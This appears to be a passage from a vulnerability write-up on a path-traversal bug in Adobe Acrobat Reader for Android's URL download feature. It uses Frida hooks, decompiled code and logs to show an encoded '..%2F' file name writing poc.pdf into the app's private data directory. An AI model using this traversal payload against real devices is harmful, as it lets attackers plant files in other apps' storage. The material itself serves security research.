crosshatch:/data/data/com.adobe.reader# ls -altotal237drwx------11u0_a163u0_a16334882022-03-0903:31.drwxrwx--x203systemsystem245762022-03-0702:14..drwxrwx--x3u0_a163u0_a16334882022-03-0702:16app_com_birbit_jobqueue_jobsdrwxrwx--x2u0_a163u0_a16334882022-03-0702:16app_texturesdrwxrwx--x5u0_a163u0_a16334882022-03-0702:16app_webviewdrwxrws--x52u0_a163u0_a163_cache81922022-03-0903:31cachedrwxrws--x2u0_a163u0_a163_cache34882022-03-0702:14code_cachedrwxrwx--x2u0_a163u0_a16381922022-03-0903:31databasesdrwxrwx--x10u0_a163u0_a16334882022-03-0903:31filesdrwxrwx--x2u0_a163u0_a16334882022-03-0702:16no_backup-rw-------1u0_a163u0_a1631769362022-03-0903:31poc.pdf//<--drwxrwx--x2u0_a163u0_a16340962022-03-0903:31shared_prefs
[w-info] handleIntent is called
java.lang.Throwable
at com.adobe.reader.AdobeReader.handleIntent(Native Method)
at com.adobe.reader.AdobeReader.handleOnResume(AdobeReader.java:129)
at com.adobe.reader.AdobeReader.onMAMResume(AdobeReader.java:191)
at com.microsoft.intune.mam.client.app.offline.OfflineActivityBehavior.onResume(OfflineActivityBehavior.java:337)
at com.microsoft.intune.mam.client.app.MAMActivity.onResume(MAMActivity.java:106)
at android.app.Instrumentation.callActivityOnResume(Instrumentation.java:1412)
...
[w-info] android.app.Activity.startActivity()
Intent { cmp=com.adobe.reader/.misc.ARFileURLDownloadActivity (has extras) }
java.lang.Throwable
at android.app.Activity.startActivity(Native Method)
at com.adobe.reader.AdobeReader.handleIntent(AdobeReader.java:406)
at com.adobe.reader.AdobeReader.handleIntent(Native Method)
at com.adobe.reader.AdobeReader.handleOnResume(AdobeReader.java:129)
at com.adobe.reader.AdobeReader.onMAMResume(AdobeReader.java:191)
at com.microsoft.intune.mam.client.app.offline.OfflineActivityBehavior.onResume(OfflineActivityBehavior.java:337)
at com.microsoft.intune.mam.client.app.MAMActivity.onResume(MAMActivity.java:106)
at android.app.Instrumentation.callActivityOnResume(Instrumentation.java:1412)
...
[w-info] $init is called
https://127.0.0.1/a/b/c/poc.pdf
application/*
java.lang.Throwable
at com.adobe.reader.misc.ARURLFileDownloadAsyncTask.<init>(Native Method)
at com.adobe.reader.misc.ARFileURLDownloadService.onMAMStartCommand(ARFileURLDownloadService.java:72)
at com.adobe.reader.misc.ARFileURLDownloadService.onMAMStartCommand(Native Method)
at com.microsoft.intune.mam.client.app.offline.OfflineServiceBehavior.onStartCommand(OfflineServiceBehavior.java:36)
at com.microsoft.intune.mam.client.app.MAMService.onStartCommand(MAMService.java:74)
at android.app.ActivityThread.handleServiceArgs(ActivityThread.java:3705)
...
// com.adobe.reader.misc.ARURLFileDownloadAsyncTask
public class ARURLFileDownloadAsyncTask extends SVFileTransferAbstractAsyncTask {
private String mMimeTypeFromIntent;
private Uri mUri;
public ARURLFileDownloadAsyncTask(Application arg2, Uri __intent_extras_FILE_PATH_key__, String __intent_extras_FILE_ID_key__, boolean arg5, String __intent_extras_FILE_MIME_TYPE__) {
super(arg2, __intent_extras_FILE_PATH_key__.toString(), __intent_extras_FILE_ID_key__, arg5);
this.mUri = __intent_extras_FILE_PATH_key__;
this.mMimeTypeFromIntent = __intent_extras_FILE_MIME_TYPE__;
}
private void downloadFile() throws IOException, SVFileDownloadException {
int flag = 0;
URL __mUriToURL__ = new URL(this.mUri.toString());
Exception exception = null;
try {
String __downloadPdfFileName__ = BBIntentUtils.getModifiedFileNameWithExtensionUsingIntentData(this.mUri.getLastPathSegment(), this.mMimeTypeFromIntent, null, this.mUri); // 获取文件名
String __downloadPdfFilePath__ = new ARFileFromURLDownloader(new DownloadUrlListener() {
@Override // com.adobe.reader.misc.ARFileFromURLDownloader$DownloadUrlListener
public void onProgressUpdate(int arg3, int arg4) {
ARURLFileDownloadAsyncTask.this.broadcastUpdate(0, arg3, arg4);
}
@Override // com.adobe.reader.misc.ARFileFromURLDownloader$DownloadUrlListener
public boolean shouldCancelDownload() {
return ARURLFileDownloadAsyncTask.this.isCancelled();
}
}).downloadFile(__downloadPdfFileName__, __mUriToURL__); // [8]
if(BBFileUtils.fileExists(__downloadPdfFilePath__)) {
File v4_1 = new File(__downloadPdfFilePath__);
if(ARFileUtils.checkIfInputStreamHasPDFContent(() -> new FileInputStream(v4_1))) {
this.updateFilePath(__downloadPdfFilePath__);
flag = 0;
}
else {
v4_1.delete();
flag = 1;
}
}
else {
goto label_38;
}
goto label_40;
}
flag = 1;
goto label_40;
label_38:
flag = 1;
label_40:
if(flag == 0) {
ARDCMAnalytics.getInstance().trackFileDownloadFromUrlCompleteStatus(1 ^ flag, null, __mUriToURL__);
return; // 从这里返回
}
...
}
@Override // com.adobe.libs.services.blueheron.SVFileTransferAbstractAsyncTask
public void executeTask() throws Exception {
this.downloadFile(); // [7]
}
...
}
let BBIntentUtils = Java.use("com.adobe.libs.buildingblocks.utils.BBIntentUtils");
BBIntentUtils.getModifiedFileNameWithExtensionUsingIntentData.implementation = function(str, str2, contentResolver, uri){
console.log('[w-info] getModifiedFileNameWithExtensionUsingIntentData is called');
let ret = this.getModifiedFileNameWithExtensionUsingIntentData(str, str2, contentResolver, uri);
console.log('[w-info] getModifiedFileNameWithExtensionUsingIntentData ret value is ' + ret);
return ret;
};
[w-info] getModifiedFileNameWithExtensionUsingIntentData ret value is ../../../../poc.pdf
[w-info] downloadFile is called
[w-info] arg1: ../../../../poc.pdf
[w-info] arg2: https://127.0.0.1/a/b/c/..%2F..%2F..%2F..%2Fpoc.pdf
java.lang.Throwable
at com.adobe.reader.misc.ARFileFromURLDownloader.downloadFile(Native Method)
at com.adobe.reader.misc.ARURLFileDownloadAsyncTask.downloadFile(ARURLFileDownloadAsyncTask.java:213)
at com.adobe.reader.misc.ARURLFileDownloadAsyncTask.executeTask(ARURLFileDownloadAsyncTask.java:80)
at com.adobe.libs.services.blueheron.SVFileTransferAbstractAsyncTask.doInBackground(SVFileTransferAbstractAsyncTask.java:196)
at com.adobe.libs.services.blueheron.SVFileTransferAbstractAsyncTask.doInBackground(SVFileTransferAbstractAsyncTask.java:46)
at android.os.AsyncTask$2.call(AsyncTask.java:333)
at java.util.concurrent.FutureTask.run(FutureTask.java:266)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1167)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:641)
at java.lang.Thread.run(Thread.java:764)
ARFileFromURLDownloader.getDocPathForExternalCopy.implementation = function(str){
console.log('[w-info] getDocPathForExternalCopy is called');
console.log(Java.use("android.util.Log").getStackTraceString(Java.use("java.lang.Throwable").$new()));
let ret = this.getDocPathForExternalCopy(str);
console.log('[w-info] getDocPathForExternalCopy ret value is ' + ret);
return ret;
};
[w-info] getDocPathForExternalCopy is called
java.lang.Throwable
at com.adobe.reader.misc.ARFileFromURLDownloader.getDocPathForExternalCopy(Native Method)
at com.adobe.reader.misc.ARFileFromURLDownloader.downloadFile(ARFileFromURLDownloader.kt:51)
at com.adobe.reader.misc.ARFileFromURLDownloader.downloadFile(Native Method)
at com.adobe.reader.misc.ARURLFileDownloadAsyncTask.downloadFile(ARURLFileDownloadAsyncTask.java:213)
at com.adobe.reader.misc.ARURLFileDownloadAsyncTask.executeTask(ARURLFileDownloadAsyncTask.java:80)
at com.adobe.libs.services.blueheron.SVFileTransferAbstractAsyncTask.doInBackground(SVFileTransferAbstractAsyncTask.java:196)
at com.adobe.libs.services.blueheron.SVFileTransferAbstractAsyncTask.doInBackground(SVFileTransferAbstractAsyncTask.java:46)
at android.os.AsyncTask$2.call(AsyncTask.java:333)
at java.util.concurrent.FutureTask.run(FutureTask.java:266)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1167)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:641)
at java.lang.Thread.run(Thread.java:764)
[w-info] getDocPathForExternalCopy ret value is /storage/emulated/0/Download/Adobe Acrobat/../../../../poc.pdf